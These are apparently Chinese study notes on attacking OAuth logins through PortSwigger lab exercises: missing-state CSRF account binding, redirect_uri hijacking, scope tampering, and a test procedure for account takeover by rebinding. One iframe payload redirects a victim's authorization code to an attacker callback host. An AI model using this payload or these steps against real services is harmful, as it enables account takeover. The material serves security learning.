演示案例:
➢ WEB攻防-OAuth认证-授权逻辑&授权分类&参数解释
➢ WEB攻防-OAuth认证-无State&重定向接管&篡改Scope
一、解释
OAuth:一种常用的授权框架,它允许网站和Web应用程序请求对另一个应用程序上的用户帐户的有限访问权限,像那种允许使用第三方账号(QQ、微信等)登录的网站,可能就是使用的OAuth框架。
二、类型
授权类型:授权码模式,隐式授权类型等
这两种就简单理解授权码模式看不到token,隐式授权能看到token,前者安全一点
参考:
https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A
https://mp.weixin.qq.com/s/ATjdIxSOruY-_lCCs2kcGg
state为什么能防止csrf,攻击者发来的攻击链接比如state等于abc,当受害者访问后,虽然url里是abc,但是code生成的同时,会生成对应的session,这里受害者code值和session值对不上,拒绝访问
三、靶场
1、OAuth隐式认证绕过
2、注册资源SSRF被利用
这两个过时了就不浪费时间了
3、存在CSRF缺陷用户被绑定 无state
这个实验的原理是,我们可以通过账号密码来登录账号,同时也能绑定第三方来登录(如:wx、qq)。我们想授权服务器发送请求的时候看到无state,然后服务器会返回一个code,我们把这个过程的url放到攻击服务器上,当攻击者访问这个攻击网站,会把我们的第三方应用权限绑到受害者账户,然后用第三方应用登录的时候就登录到受害者账号。这个就是因为返回授权码的url没有state参数,所以导致随便绑定

4、CSRF缺陷redirect_uri劫持code
这个就是改redirect_url的值,改为攻击网站,攻击网站写
1 | <iframe src="https://oauth-0a7400cb04161e5e80c1152902690027.oauth-server.net/auth?client_id=hsvii9krryl5joffjyca7&redirect_uri=https://exploit-0a2f0030045c1e37802816fc01070056.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe> |
就是让管理员一访问网站,就向授权服务器发送授权请求,然后返回的code就会被发到回调地址,回调地址填的是我们的服务器,自然就获取到code,然后带上code直接访问就是管理员账号


5、scope篡改升级范围信息获取
scope本身就是控制权限的,这里就是让你改变scope值获取不同权限很好理解
portswigger.net/web-security/all-labs#oauth-authentication参考:blog.csdn.net/weixin_39190897/article/details/139885599
四、复盘
https://mp.weixin.qq.com/s/TSsQ_mWGsFYZiF_RBdfbKg
https://mp.weixin.qq.com/s/NuNkzax8nb72qb-S1RvTnQ
https://mp.weixin.qq.com/s/QuhNuVyb2uy2T-br-mxAJw
https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A
如何测试 OAuth 换绑实现账户接管漏洞
分别在两个浏览器上注册两个账号,分别为账号 A 和账号 B
在账号A上走完一遍绑定第三方平台的流程,抓住最后绑定的那个数据包,Send to Repeater然后Drop掉
在登陆了账号B的浏览器上,直接去访问账号A先前绑定的URL,观察B是否新绑定了第三方平台,如果是,则存在该漏洞,否则就不存在
演示案例:xxxxxx